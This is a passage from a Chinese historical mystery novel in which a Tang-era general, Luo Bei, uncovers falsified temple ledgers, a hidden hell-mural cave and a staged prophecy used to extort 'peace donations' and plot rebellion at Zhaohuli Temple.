老人轻轻叹了口气:“这就要说三年前那场大水了,那时候地毁了,家也没了。我们好多人,就聚在洪水边哭。结果来了个带着小弟子的僧人,他说他会染布,就教了我们这技巧,我们才有了口饭吃。” 洛北已猜到他说的是那昭怙厘寺外的小沙弥慧光和他的师傅,闻言不禁有些感叹:“原来是这样,那后来呢?” “后来那法师就说,要给我们修水渠,帮我们把这东川水治理起来。结果,去年夏天发水的时候,他自己跌倒在河里,没能救上来。”老人叹了口气:“他们都说,这个人要以凡人之躯对抗洪水,这是犯忌讳的。所以神佛派人把他收了回去。我却不能相信。可他的尸首,一直没有找到。” 洛北凛然道:“我也不信,老人家,修桥补路无尸骸,天底下没有这样的道理!” 他又和这老人白话几句,方起身告辞,牵起马还没走几步,就看到慧光带着几个小沙弥蹦蹦跳跳地往这边走。此地离昭怙厘寺尚有一段距离,他们大概是走了好久才到这里的:“慧光!” 慧光停下步子,道了声佛号:“阿弥陀佛,小僧见过公子。公子怎么到这乡下地方来了?” “上午听你说,此地百姓久为东川水所苦,所以来看看情况。”洛北跳下马来,见他和那几个小沙弥都面露疲惫,问:“你们呢?大老远地来做什么?” “这几个小子好久没吃过饱饭了。”慧光指了指那几个孩子,“我带他们到村子里化些斋饭来用。村子里的好多人都和我师傅认识,对我们可好了。” 洛北心念一动:上午博明言之凿凿,说他的师父监院白迦叶为这些孩子留了款项,如今又发生了孩子吃不饱的情况。这其中必有一个人在说谎。 “你们饿了?为什么不在伊逻卢城里化缘?”洛北问道,“伊逻卢城也有不少人家敬奉三宝,在那里找些吃的,总比跑个十几里地到这里容易吧?” “不行!”其中一个小沙弥哭丧着脸道:“师父们不许我们在伊逻卢城里讨吃的,被发现了是要挨打的!我就挨过打,呜呜呜,可疼了。” 他涕泪横流,把原本就灰尘扑扑的脸哭得像个花猫似的,洛北又没带手帕在身上,只得抽出那块新买的布料,替这孩子擦了擦脸:“好了,不要哭了,我给你们买些吃的去吧。你们想吃什么?” “馕饼!”“奶酪!”“烤包子!” “好。”洛北站起身,“我看天气不好,一会儿可能要下雪,你们不要再往下游那边去了,往城中折返吧。我骑马来回,脚程比你们快得多,一会儿,我们在路上找个清净地方把饭吃了,不让你们回去挨打,好么?” “好!”几人齐声叫道。 出伊逻卢城外五里处,有一片金黄的胡杨林。洛北买回食物,又在地上铺起了毡毯,邀请众沙弥和那叫慧光的僧人一起坐下。 慧光瞪大双眼,看着他言笑晏晏的模样:“公子,你不是一般人吧?” “为什么这么说?”洛北眉眼微弯。 “这些东西要不少银钱呢。”慧光狼吞虎咽地咬下小半块馕饼:“这面粉可是精面,我好久没吃过精面的馕饼了。” 洛北笑道:“那你们就多吃些吧。对了,我有个问题,昭怙厘寺是座大寺,每日上香供奉的人不计其数,你们几个怎么会吃不饱?” 其中一个小沙弥一边咬烤包子一边道:“我们在寺里没有多少固定吃食的。想要多的吃食,得去让那些贵人们赏银钱给我们,靠那些银钱换吃的。” “就是。”另外一个小沙弥附和:“可自从我们换了位大都护,来昭怙厘寺的达官贵人少了不少,哪有那么多贵人赏钱呢?” 洛北这下真有些好奇了,他身子前倾,笑道:“这和换了位大都护有什么关系?” “公子,一看你就是不懂官场规矩的。”慧光故作老成地慨叹道:“我问你,当今的安西大都护姓什么?” 洛北见他故意卖关子,只觉得好笑,便答了:“阿史那啊?” “是,阿史那氏是突厥的皇族姓氏。他的儿子就是大名鼎鼎,号称是祆神化身的乌特特勤呢。”慧光道:“突厥人是信奉祖先和山神的民族,不信佛教,信祆教。所以这些贵人们就不能借着出入昭怙厘寺的机会打听他的情况,和他偶遇,也不能借礼佛去讨上司的欢心了。” 洛北哈哈一笑:“原来是这样啊。”他自己不信鬼神,在这上头也就没有那么留意:“慧光,你果然人如其名,是个有大智慧的。” “平白无故地夸我做什么?”慧光抹了抹嘴,“公子不会也想借着礼佛去讨好大都护吧?” 洛北笑而不语,反倒站起身:“吃饱了没有,吃饱了咱们就可以回城了。” 那几个小沙弥也将盘中的餐食一扫而空,正轮流拿那块桃红色的布料擦脸,那布料染得不甚均匀,颜色已经渗了一些出来,留在他们脸上,像飞起了几片红霞。 几个小沙弥你看看我,我看看你,都忍不住捧腹大笑起来。 “公子这块布是从村子里买的?”慧光注意到这边,忙过来看了看:“这好像是我师父说过的技法” “不错,这就是你师父教出的徒弟染的,染的不错。”洛北道:“所以我买了一块想带回去给家里人看看。” 慧光“哦”了一声,脸上露出点兴奋神色:“公子,你是做生意的人吧?我也会染布,你要是对这个感兴趣,我可以帮你染!” 洛北忍不住轻轻敲了敲他的秃头:“慧光法师,你可是个和尚,一日到晚地想这些生意的事情做什么?” “赚钱么!”慧光理直气壮地回驳他:“赚到了钱我就可以修水利,修了水利,我我就能完成师父的宏愿了!” 洛北笑了:“兴修水利,并不是你和你师父两个人的事情。它理应由大唐官府出面。” “我不管官府的想法,师父发了宏愿,我就要把此事做成。”慧光执拗地道。 他身上有种难得的执着劲儿,洛北也就不再管他,一路护着他们进了伊逻卢城才罢。 等他回到安西衙署之中时,裴伷先和褚沅已经看完了账册,坐在桌边聊着什么,见他进来,纷纷道礼: “公子。”“将军。” “两位好快的动作啊。”洛北坐到他俩身侧:“这么多账册,一个下午不到,就看完了?” 裴伷先笑了笑:“公子,可不是我和褚郡君偷懒,这账册,属实没有什么再看下去的必要了。” 他拉过那只大箱,呈到洛北面前。那箱中的账册被分为两堆,左边那堆高,右边那堆低。左边那堆更旧一些,右边那堆更新一些。 “左边的是我们已经看完的。” 褚沅轻轻走过来,半蹲下身,指着账册,仰头向洛北解释: “其实我和裴公看到第三本的时候,便已断定这是一本假账。但我们更好奇的是,这假账到底假在何处。所以我们花了些时间做了些对比,发现从前年到去年,账本上遮盖的都是收入,也就是说收了很多不该收的钱。” 洛北点了点头,以昭怙厘寺中僧人们的那套作风,收不该收的钱只怕也是常见的事情:“那右边这些是今年的?” “是,今年则是支出有很多疏漏,应当是在遮盖不该花的钱。”裴伷先接过褚沅的话头:“而且,今年的这些账本错写、漏写实在太多,它已经不能被称为是合格的账本了。所以,也没有多少价值。” 洛北轻声道:“明白了,这样看来,监院白迦叶所中的毒,应当就是在今年年初被人下的。可是为什么呢?” 第154章 “这平安捐没能保得了伊逻卢城平安,突骑施兵锋过后,竟无人找昭怙厘寺索要么?” 洛北是在自言自语, 声音很轻,却让书房内陷入一片寂静和沉默。三人已经不约而同地意识到,这个扑朔迷离, 错综复杂的案件背后不止是一个昭怙厘寺。 “这就像理一团乱麻。”裴伷先双手放在脑后, 向后仰卧在胡床上:“现在这条线头扯出了更乱的线头,公子,我建议呀,咱们要不放弃这头,从另外一个突出的线头整理吧。” 洛北已经明白他的意思:“你是说, 新开的那家酒肆?” “不错,我已经派人去探查过,那家酒肆叫做‘婆罗陀’, 是天竺教中辩才女神的名字。”裴伷先道,“幕后老板是叫个康无量的粟特人,是近一两年冒出来的新角色, 商场上传说, 他背后有龟兹王族的支持。” 洛北若有所思地点了点头:“想在伊逻卢城中办成事,不给自己找个靠山是不成的。我好奇的是,这酒肆到底有什么门道,让它成为伊逻卢城中最受人追捧的地方。” “美人。”裴伷先道:“据说里面的舞姬会扮成飞天的模样, 以乐声在空中起舞,那情景, 就像咱们今日下午看到描绘西方极乐世界的壁画一样。公子,要不我们去探探吧?” “你要去看热闹可以,不要拽着我。”洛北重新坐下身, 翻起一本他从衙署借来的地方志。 裴伷先哈哈大笑:“我知道公子是担忧我们俩的脸一起出现,就会打草惊蛇。放心吧, 没摸出门道之前,我是不会去送上门的。就算送上门,也会改换形貌。” 褚沅想了想,歪头望向她兄长:“将军,要不,我去吧?” 裴伷先看了一眼褚沅,又看了看洛北:“这倒是个好想法,公子,褚郡君就在那晚的宴会上露过面,又是华服打扮,她若能改换形貌,潜入酒肆之中,或许可以找到线索。” “不行。”洛北斩钉截铁地否定他,又看了一眼褚沅:“我不许你去冒这种险。” “我不扮成舞女歌姬就行了。”褚沅笑道,她微微佝偻起腰背,做出一副垂垂老态:“我从前替女皇做事的时候,还扮成过老妪模样,我就扮个浆洗衣裳的漂妇去里面看看。” 她声音一变,虽未改换形貌,看着正如一个老妇模样。 裴伷先正要说话,却看到洛北起身,冷下脸来对褚沅摇了摇头:“不行。扮成什么模样都不许去。” 他难得对褚沅也如此严正。褚沅只得低下头来,道了声是。 氛围一时沉郁下去,三人都静默不语。忽而,褚沅起身,奔向窗边,将窗口撑开一条缝隙:“将军,裴公,你们看,下雪了。” 那两人来到窗边一看,天色已经完全黯淡下来,黑灰一片的天色里,雪花正成朵成朵地从空中飘落。褚沅道:“这样吧,干想也没有结果,我去厨房拿些点心和热酒来,我们边喝边想。” 她动作麻利,很快桌上便摆起了四五样精致点心,铜炉之上,一只通体晶莹的玉瓶置在温水之中,发出咕噜咕噜的声响。 裴伷先也不谦让,当仁不让地坐在酒桌边,用一块细布包着玉瓶拿起,放到鼻尖嗅了一下:“好味道,这是今年新出的葡萄酒吧。来,公子,你我先喝一杯——” “这是为什么?”洛北已伸手将杯子递了过去,面上却还不免一问。 裴伷先想了想:“这还真有些难到我了,要不,就为了公子‘雪夜破牙帐’的功绩如何?想来彼时碎叶城的大雪,比今日要大得多吧。” 洛北一口喝下杯中的酒,忽而想到什么似的,奔到门口:“叶若,可否去请城中最大的祆寺的祭司来与我相见?” 那祭司是个青年,听说“伟大的乌特特勤”要见他,忙不迭地穿上自己最好的衣裳,把金腰带在腰间缠了一圈,才敢来衙署觐见,一见面,就跪在地上,举起双手:“参见将军!” 洛北把他扶了起来,瞥见他的高鼻梁,宽额头,还有深绿色的眼眸,猜出他是波斯遗族:“阁下是金山郡公阿罗憾的亲族吧?” “是,是。小人本名阿尔敏,小人的父亲正是随同王子来到中原的。”阿尔敏诚惶诚恐地坐在了一边的椅子上。他只敢坐小半个椅面,小腿微微用力,才撑住了自己:“请问将军突然召见我,有什么见教么?” “我是想问你之前突骑施占据城中的事情。”洛北道。 阿尔敏吓得一下子站起了身:“我们寺中绝无和突骑施人勾结的事情!战事还没开,我们就从信众中的粟特商人那里收到了消息。所以早早做好准备,以金银赎买了自身的安全。” 洛北点了点头:“那其他的寺庙呢?也是这么做的?” “这,这就不好说了。”阿尔敏的目光投到了面前的地板上:“突骑施占据此城时,正是小人的父亲执掌庶务,他今年秋天刚刚去世。” “此事我知道。”洛北再度示意他坐下:“你初掌事,有些事情记得不全,也是可以理解的。但我想问的是,当时,昭怙厘寺是怎么做的?” 他有意拉高尾音,故意让阿尔敏察觉到他的意思。阿尔敏心领神会,立刻道:“佛寺的信众多以本地人和汉人为主,不知消息。所以,战端一开,都四散到东川下游的村庄里去了。” “明白了。”洛北知道自己找对了方向:“他们是到今年年初才回到寺中的,对不对?” 阿尔敏猛地一拍手:“将军既然什么都知道,干嘛还来找我问。把我吓了一跳。不错,不错。他们是年初大都护收复伊逻卢城后才回到城中的。当时那副狼狈样子可是传遍了城中,此事过后,昭怙厘寺的香火少了不少。人们再也不信给昭怙厘寺的平安捐能保佑他们度过兵灾了。” “‘平安捐’?”洛北微微皱眉。 阿尔敏道:“事情是这样,三年前,当时的龟兹老王梦中遇鬼,梦见自己周游地狱,还在一面水晶镜中看到了兵祸摧毁伊逻卢城的景象。他醒来之后,召高僧大德入宫解梦。” “那些僧人说,这是预示,预示着战争即将开始。所以,老王为了避免兵祸,保伊逻卢城平安,带头捐出不少黄金白银,为昭怙厘寺塑了一尊大佛。后来城中达官贵人纷纷效仿,捐了不少钱。时人呼为‘平安捐’。” 洛北冷笑了一声:“这平安捐没能保得了伊逻卢城平安,突骑施兵锋过后,竟无人找昭怙厘寺索要么?” “将军是有所不知。突骑施进城后,大肆屠杀,收敛财宝,这些人不少都在兵祸中丧生。”阿尔敏道:“即使没有死,也都散尽家财。要靠自己和昭怙厘寺争斗,怎么斗得过呀?” 洛北问:“他们不能找官府出面?” 阿尔敏笑了:“将军,天底下哪个官府也不能让寺庙把信徒自愿捐助的钱退回来的啊。更何况,可汗殿下笃信祆教——他们才不敢到可汗殿下那里去触霉头。” 洛北颔首,经过阿尔敏这番讲述,他总算在迷雾之中寻到了一些新的线头。只是为了避免被阿尔敏察觉,他需要另寻些话头来结束今日的话题:“你的家族出身萨珊波斯,应当对大食人很了解吧?” 两人宾主尽欢,洛北亲自把阿尔敏送出门外。裴伷先和褚沅才一左一右地从屏风后走出来:“看公子的神情,应当是有些想法了?” “是。”洛北干脆铺展开一张白纸,写下几个时间点: “伊逻卢城从三年前开始,发生了数件大事。我将它一一写在纸上。其一,是三年前,龟兹老王做了噩梦,伊逻卢城始行‘平安捐’。与此同时,东川水泛滥,淹没了下游的村庄。其二,是一年前,突骑施人入城,僧人逃到城外避难,老王被杀。其三,今年年初,我们收复西域,僧人回到伊逻卢城中,‘平安捐’停止,‘婆罗陀’酒肆崛起。” 裴伷先和褚沅对着纸张参详片刻,裴伷先忽而伸出手指:“假设,‘婆罗陀’酒肆与平安捐有关,那就说明——龟兹王族中有人察觉到了‘平安捐’不过是无稽之谈,并威胁昭怙厘寺用金钱让他们守口如瓶。这也解释了,为什么今年的账本上支出不对。” 洛北不置可否,又以鼓励的目光望向褚沅:“沅儿呢?你有什么想法?” “我赞成‘婆罗陀’酒肆与昭怙厘寺的支出有关的观点。我揣度,‘平安捐’的秘密,不足以让昭怙厘寺付出这么多金钱。”褚沅想了想:“毕竟,突骑施骑兵兵临城下的当日,城中便人人都知道这‘平安捐’只是一个骗局。” 裴伷先道:“但恐怕只有龟兹王族有能力与昭怙厘寺对抗,让昭怙厘寺中的这些所谓‘高僧大德’身败名裂。” “这样说也有道理。”褚沅伸手托着下巴:“但我还是觉得,有什么东西被我们漏了过去。” “还有一些线索,我们没有用上。”洛北俯身提笔在纸上补了几个人名:“今年死去的监院白迦叶,一年前死去的龟兹老王和慧光的老师这些人必然和这个阴谋有关。但我们暂时还不知道具体的联系。” “还有,‘婆罗陀’酒肆,既然它背后有如此复杂的关系,我们不得不多问一句,这个龟兹王族子弟,拿了这么多银钱,不用来自己享乐,却用来开办一家酒肆,招揽失意的龟兹王族子弟,他的目的是什么?” 第155章 地狱变 案件再一次陷入僵局之中, 众人苦思冥想,也不得结果,最终还是府中的打更声惊醒了众人。洛北难得一推案卷, 轻声道:“左右不得结果, 不如早些休息的好。” 第二日清晨,雪犹未停,院外已经迎来了咋咋呼呼的新客。巴彦带着阿拔思在安西衙署中转悠:“这地方可比碎叶城里要气派许多。” “阿拔思。”洛北起身晨练,正与他们打了个照面,“葛逻禄人的情况如何?” “按照将军的嘱咐, 抚一派,拉一派,打一派, 已将他们平定下去了。”阿拔思向他道了个大礼:“领头叛乱的两个首领和他们的家眷已经被我羁押到碎叶城,等待将军的发落。” “做得好,我立刻起草奏章, 为你和将士们表功。”洛北笑道。 阿拔思摇了摇头:“我这算什么功!那些葛逻禄人知道我们才随将军荡平突骑施, 几乎都是一触即溃,望风而降。”他看洛北神情不似往日那般平静,试探地道:“将军这里有什么麻烦?我听巴彦老弟说,是碰到了一桩迷案?” “确实是一桩迷案。”洛北微微皱眉——自来到伊逻卢城之后, 他总觉得自己皱眉的次数比之前多了许多:“牵涉了诸多势力,非一时能解。今日早上, 我还要把可能的证物还给一个可能的凶手。” 阿拔思道:“那将军不是很危险?我提军随将军同去吧。” “现在还用不上这么大的阵仗。”洛北摆了摆手,“巴彦带十个人和我一道去就行。谅他们也不敢把我扣在寺庙里。” 东川水滔滔流淌,巴彦和几个侍卫轮次拎着那只红木书箱在台阶上跑来跑去, 权作比较气力的游戏。洛北穿着一身素色锦袍,将一件衬着羊毛毡的披袄披在身上, 走在最后。 他已经断定,昭怙厘寺的方丈必是此案的重要人物,但他此刻毫无能把这位方丈邀来安西衙署询问的证据。 “哎,小心!” 他沉思之间,几个小沙弥打打闹闹地下了台阶,几个侍卫分在各处,此刻要去拦已经来不及,只能眼睁睁地看着其中一个撞在洛北身上。 洛北久在战阵之中熬打,这一下也没怎么样。那少年却被撞出去几个台阶,好不容易才稳住身形,“唉哟”“唉哟”地叫了两声,霎是可怜。 洛北走过去要搀他。那少年从指缝之间看到是他,才一下子跳了起来:“是你呀,公子!” 竟是慧光。 “慧光?”洛北温言叫他:“又没钱吃饭了?” “不是,不是。今日我们要跟着博明法师去画壁画。”慧光笑道:“他管饭,还给我工钱。我还想着今天问问他监院法师的那笔修水利的款子能不能拨给我呢。” 洛北见这少年僧人开口闭口都是世俗经济,忍不住笑了:“你还会画壁画?” “师父教过!”慧光道:“他还来这儿给监院法师画过壁画呢。” 洛北心念一动,从袖中拿出抄录的那页壁画递到慧光面前:“那你可认得这个?” “这个?画不成画,字不成字的,我不不对,”慧光凑近了看,天光晦暗,他看了好久才看清楚:“我好像在什么洞窟里见过。” “是么?”洛北半蹲下身,把纸片平铺在他面前:“你认清楚了?” “不光我见过,那几个应该也见过的!”慧光招呼那几个小沙弥过来,大家伙七嘴八舌地议论起,都说曾经见过。洛北便留了两个侍卫在此地看守账册,自己带上剩下的人与跟着慧光绕到寺后的山崖上一探究竟。 山崖上洞窟林立,有的用作禅房、礼拜室,更多的则绘以壁画,成为供人参拜和瞻仰的佛窟。慧光带着洛北走进石窟,遥遥地指了指西壁的上方:“那就是?” 洛北四处打量,此地是一个以“佛祖涅槃”为主题的卧佛窟。南壁上塑着迦叶佛,象征过去。北壁塑着弥勒佛,象征未来。窟顶绘着九方净土变。而他正对面的,则是一座侧卧的佛像,象征着涅槃之中的释迦摩尼。 那处丝带就飘舞在佛像左耳的上方,若不仔细看,只会觉得这是卧佛身后一众举哀壁画中的装饰。洛北凑上前去,伸手叩了叩丝带所绘的位置。声音空鼓,显然,这西壁之后是有空间的。 他左右打量一番,终究还是抽出佩刀,用刀柄探向中央小龛处,什么动静都没有。 洛北略微沉吟片刻,又以刀柄在小龛前连叩十下。这一下才算奏了效,小龛打开,露出其中所绘的最后一方净土,直到此时,连同窟顶的九方净土变一起,十方净土终于现于人前。 “咔哒”一声,在寂静的洞窟之中响起,而后是一连串连绵的机关转动之声。 卧佛转动半面,露出后方的一个洞窟。 巴彦已从怀中掏出火折子吹亮,此刻又反手拔了腰刀在手,上前一步:“将军,我打头阵。” 洛北不与他争,后退半步,容他先进了洞窟之中。 巴彦走了一圈,将这密窟内的蜡烛都点燃,才自顾自地看了一眼四周。 可就这一眼,差点没让这个血性汉子被壁画上的景象吓一跳:“腾格里啊,不是说佛教劝人向善么?这鬼壁画是什么意思?” 慧光听他惊呼,也从门中钻了过来。他看着壁画上绘着的十殿阎王,剑山刃树和那些哀嚎着,惨叫着,在地狱之中挣扎的罪人,忍不住说道: “这是地狱变,是描绘死后地狱景象的壁画,为的就是劝人向善,好不要死后坠入地狱。” “看着挺渗人的,将军,咱们出去吧。”巴彦再看一看,只觉得浑身的鸡皮疙瘩都起来了,他摸了摸手臂,转头看向洛北。 洛北没有立刻接话,只从巴彦手中拿过火折子,走向唯一没有被照亮的西壁。以一个神射手应有的目力,他已经看到西壁前有什么在微微地泛光:“水晶镜,这就是那面水晶镜。” “哪面水晶镜?”巴彦和慧光都不知道他在说什么。 洛北低头一摸,从那水晶镜下摸出了一只桐木箱子,借着火光,他看到那箱子里躺着几本账册和一封信:“昭怙厘寺的秘密就在这里了。” 他将信件拆开,草草一读,又重新折起来: “此案可以真相大白了。巴彦,你代我去都护府请父亲,叫上白莫苾一道来。” “是。”巴彦抱拳退了出去。 “慧光。”洛北又叫那少年僧人:“你是同我一道出去等,还是留在这里再看看这壁画?” 慧光本在想他刚刚说的那句话,被他一叫才反应过来:“你说都护是你的父亲?” “是。” “你能直呼龟兹王的名字?” “对。” 慧光瞪大了眼睛:“那你,你岂不就是那个” “安西副大都护洛北。”洛北坦然道:“你也可以叫我阿史那乌特。” 慧光差点没跳起来:“你就是乌特特勤,你不是,不是祆神的化身吗?为什么还要到佛寺来低三下四地查案子?!我以为你们这样的人都可以移山填海呢。” 洛北哈哈大笑:“我看你呀,真是经变故事听多了。我不是祆神化身,也不能移山填海。不过,倒是可以帮你和你师父一个小忙,我会出资修建水利设施,把东川水治理起来。” 慧光一听,两眼发亮:“真的?不是大唐官府的名义?” “钱从我自己的私库出。但我会将它捐给大唐官府,这样,后续维护就能让官府来执行,这样,既满足了你的愿望,也可以长久地为下游的百姓带来便利。”洛北道。 慧光激动地点了点头,几乎不知道如何是好,他在佛窟内跑了一圈,也没感到兴奋有丝毫减弱,他期期艾艾地望着洛北,声音里带着期盼:“将军,我能把这个消息告诉其他人吗?我保证” 洛北开口打断了他的话:“当然可以。昨天我回到衙署时,已将此事转告了衙署中负责兴修水利的官员。若我猜的不错,今日他便会派人前去勘探情况。” “好!”慧光高呼一声,笑着跑去告诉他的伙伴们了。 洛北跟在他身后,从那个绘满地狱变的佛窟之中走了出来。他重新将小龛的龛门合上,一连串机关声之后,卧佛被摆回了原来的位置。 半个时辰之后,阿史那献、白莫苾和方丈法师都已聚到窟前。洛北与他们互相道礼。 阿史那献先开口问:“孩子,你这样急匆匆地把我们找到这里,可是对此案已有了想法?” “是。”洛北抱拳道:“监院法师白迦叶之死的前因后果,我已知晓。此事事关重大,牵涉势力众多,还请诸位允许我从一桩三年前的旧事开始讲。” 他侧身半步,打了个手势,把眼前的三位贵客都请入佛窟之中:“三年之前,龟兹的前任国王,也就是王上的父亲做过一个噩梦,梦见自己步入地狱之中,并在一面水晶镜前看到了伊逻卢城焚于战火的画面。伊逻卢城中的高僧大德们都说,这是战争的预示。所以,为了避免战争,龟兹王家带头向寺庙捐献了无数金银财宝,民间也风行起来,号为‘平安捐’。” 方丈法师没想到他提起旧事,脸色不豫:“将军说这些往事做什么?” “方丈法师,此事与本案有莫大的关联,我必须要说完。”洛北望了方丈一眼:“在场诸位都知道,‘平安捐’未能使伊逻卢城平安,一年之前,突骑施人入侵,王上的父亲不幸遇难。但我今日要说的是,从一开始,此事就是个骗局。” 白莫苾有些没明白他的意思:“一开始你是指?” “王上的那个梦,从一开始就不是梦,而是被伪造出来的。”洛北重新打开机关,将卧佛身后那个绘着地狱变的佛窟展现在众人面前。 阿史那献兴趣盎然地打量着壁画。方丈法师低头叹息。白莫苾最为激动,他这里看看,那里看看,终于在水晶镜之前颓然地停下脚步: “洛将军是说,这个梦是我父亲在这里看见的真实情况?可他不应该在王宫中吗?怎么会到这里来?” “想要神不知鬼不觉地挪动一个人没有您想象的那么难,王上。”洛北叹了口气:“给王上一杯加了曼陀罗种子的美酒,再把他随便装在什么容器里搬过来就行。他在睡梦之中看到此窟画壁上这些栩栩如生的情景,一定会以为自己身在地狱。” “那水晶镜中的景象又是怎么回事?” “这个把戏复杂一点,请王上看看我们进来的位置的墙壁,那里应当还残存着伊逻卢城模型的影子。他们就是利用窟顶的镜面,将这场景折射在水晶镜中,让您的父亲误以为自己看到了未来。” 阿史那献本在仔细倾听他的话,此刻却忍不住开口:“孩子,这你说得很对,但你别忘了,画面可以造假,声音却不能造假,若说老王所谓的‘梦’其实是真的,那声音又是从何处来的?” 第156章 “君以此兴,必以此亡。我以乌特特勤的声望平定西域的那一日,便该想到会有今日。” “是东川水的浪涛。”洛北轻声道。 “用浪涛之声混以鼓点, 伪作战争之音,确实可行。但此窟比寻常洞窟更接近山崖,先王即使是睡梦之中, 也应当不会”白莫苾犹疑道。 “不错, 除非有人故意毁坏东川上游的堤坝,使得大量流水在瞬间冲刷而下。这也是为什么,三年前东川下游突然迎来了一场洪水。无数百姓在睡梦之间葬身洪水,成片的土地和建筑被淹——” 洛北骤然提高声音,双眼目光灼灼地望着方丈: “都说佛家有好生之德, 你们用无辜百姓的死难为自己敛财,就不怕遭报应吗!” 方丈被他那双金色的眼眸一扫,不由得往后退了半步, 张口轻声道:“我我” “但你们的想法落了空。一年前,战火还是烧到了伊逻卢城。当时,你们被迫逃出城外, 隐匿在农家之中, 却在机缘巧合之下,见到了一个曾为你们画过这副地狱变的僧人。” 洛北轻轻叹了口气: “这个人就是寺外那个少年僧人慧光的师父。他见百姓为洪水所苦,主动留下来帮扶本地百姓。可你们担心他说出地狱变壁画之事,竟把他推到了东川之中!” 方丈见他说到此事, 终于轻声笑了起来:“洛将军,不, 我还是叫你,阿史那乌特吧。你说得很精彩,比僧人们讲的经变故事还要精彩。但你除了这一个洞窟之外, 还有什么证据能指责本寺僧人参与其中吗?” 白莫苾没想到他如此不要脸,率先变了脸色:“你, 你想抵赖?” “王上不要着急,小心中了外人的圈套。”方丈双手合十,沉声道:“阿史那乌特,自你入龟兹以来,昭怙厘寺一直对你礼遇有加,从未开罪于你,可你竟然把这样的罪名栽赃到昭怙厘寺头上,老衲绝不能宽恕!” 他说罢,轻轻叩击了墙上壁画的某处。一连串机关连绵之声后,东方的墙壁再度转开,露出一条幽深的地道。 “方丈法师,你这是想玩什么把戏?”阿史那献冷声问。 方丈道:“大都护,我本不想与你们为难。但你的这个儿子自己笃信祆教,就要把这样的罪名往昭怙厘寺头上泼,我只好请三位一道去见识一下佛法森严了。来人啊。” 方丈呼喊了一声,密道之中却无人应答。他脸上有些挂不住,又提高声音喊了一句:“来人啊!” 密道空空荡荡,只传来他呼喊声的回音。 “方丈法师还在想你那八百僧兵吗?”洛北冷笑一声:“可惜啊,这石窟里地方太小,站不下那么多人。我抓了其中要紧的几个人,带来让方丈法师过过目。” 他扬声道:“阿拔思!巴彦!把那几个人带进来吧!” 阿拔思和巴彦一左一右,拽着四五个被捆成粽子模样的僧人走了进来。裴伷先走在最后,向洛北和阿史那献各道一礼: “大都护,副大都护,我已奉命与巴彦将军、阿拔思将军控制此地局势,自僧房之中搜出铠甲二十副,刀剑五十把,无度牒的假僧人二百八十多名。其中有八十人抗拒执法,已经被我们拿下,领头者押解到此。该如何处置,请两位决断。” 方丈气得胸口起伏不定,一口气没上来,险些栽倒在壁画上,他一手捂着胸口,一手指着洛北:“你,你是人还是鬼神你怎么会知道?” “刚刚法师说,我没有证据。”洛北冷声道 :“昭怙厘寺私藏甲胄,豢养壮丁,积聚武器,勾结突厥,阴谋叛乱,人证物证俱在,你还想抵赖吗?!” 方丈看着他,一个字都说不出来,最终白眼一翻,倒在了地上。 “这家伙装晕呢。”巴彦冷笑道:“请将军把他交给我,管保半个时辰,一定出结果。” 洛北横了他一眼:“巴彦将军,不要胡闹。”他上前半步,望向阿史那献:“请父亲示下吧。” 阿史那献摇了摇头:“佛家清净之地,竟然成了这样的地方。把他们拉下去羁押起来,留待后审!” 巴彦和阿拔思各自抱拳一礼,带着人犯们退了下去。 白莫苾扯了扯洛北的衣袍,道:“将军刚刚说的,昭怙厘寺与突厥人勾结这又是怎么回事?” 洛北拿出那只桐木箱子:“昭怙厘寺真实的账目都在这里了,请王上与大都护过目。这里还有一封遗书,是监院法师白迦叶写的。他如何与突厥默啜联系,如何为默啜提供银钱,如何与默啜密谋,都在这里了。” 白莫苾与阿史那献对视一眼,白莫苾将那封遗书读完一遍,脸上露出不可置信的神色: “这封遗书中说,他与突厥默啜联络,意图造反,可,可这是为什么?这分明是损人不利己的事情啊。默啜也是突厥人,也笃信祆教,他们怎么会觉得龟兹在默啜治下会过得比在大唐治下更好?” 裴伷先轻轻叹息一声,拍了拍洛北的肩。 洛北知他是有心安慰,但此情此景,还是忍不住苦笑一声: “因为我。” “因为你?”白莫苾没有明白其中的意思。 “是啊,”洛北轻轻颔首:“毕竟默啜大汗的母亲不是笃信祆神的女巫,自己也没有被称为祆神的化身。僧人们不用担心他会为了宣扬祆教灭佛,自然会更倾向他那边些。” 白莫苾轻轻叹了口气:“我明白了,他们是在恐惧。可是,为了这点未发生之事的恐惧,结交外藩,意图叛乱,值得吗?” “若是普通权贵,答案肯定是‘不值得’。”洛北抬起头,望着壁画上十殿阎王的面容:“但这些人自己就谙熟以宗教操纵人心的戏码,又罪迹斑斑,岂能不惧?” “孩子。这不是你的错。”阿史那献见他神情郁郁,又温声安慰了一句。 “父亲,君以此兴,必以此亡。我以乌特特勤的声望平定西域的那一日,便该想到会有今日。”洛北摇了摇头:“我不是在为此事烦心。” 裴伷先问:“那是什么?” “因为这封遗书虽然是白迦叶所写,但其中所述的并不都是真情。”洛北道:“比如他说,他自知罪孽难恕,所以自服毒药,以期解脱。可给自己下慢性毒药之事,实在难以以常理相度。我只能认为,他是故意这样说,目的是为了袒护他人。” 阿史那献微微皱眉:“袒护他人?” “是,他在袒护一位龟兹王家的子弟。”洛北道:“此人不仅是新崛起的‘婆罗陀’酒肆的幕后老板,也参与了叛乱的阴谋。说不定,默啜已经许诺过他,事成之后,把龟兹交给他统治。” 白莫苾眼睛都瞪大了:“谁?!什么人敢这么大的胆子!” “我暂时还没有这个人的名字。但有一点可以肯定。”洛北道:“他一定知道昭怙厘寺的许多秘密,逼得白迦叶和方丈都不得不对他低头。我的推测是,突骑施围城之时,他并未像王上一样被羁押在狱中,而是随城中百姓一起逃出了城外,也正是在那段时间,他知道了昭怙厘寺的许多秘密。” 阿史那献看向白莫苾,只见他嗫嚅着嘴唇,似乎想说什么,但又没有开口:“王上有话要说?” “没,没有。”白莫苾摸了摸后脑勺,“龟兹王族人数众多,我一时也不能知道到底是谁撤出了城外。请大都护和副大都护给我几日时间,我一定把名单整理好,递交到两位面前。” “有劳了。”阿史那献微微一点头。白莫苾便推说宫中有事,急匆匆地走了。 裴伷先望着他离开的背影:“此人心中有鬼啊。” “能在伊逻卢城中动用这么多资源,这位王家子弟应当和他关系很近吧。”洛北道:“他惊慌匆忙,也是应当。只要我们把住城内的交通要道和关卡,不让他放人逃走就行了。父亲说呢?” 阿史那献轻轻一笑:“你既然已经思虑周全,又何必问我?不过此案既与突厥相关,事关重大,结案之后,你记得及时起草奏疏,将此事向朝廷回报。我来领奏。” 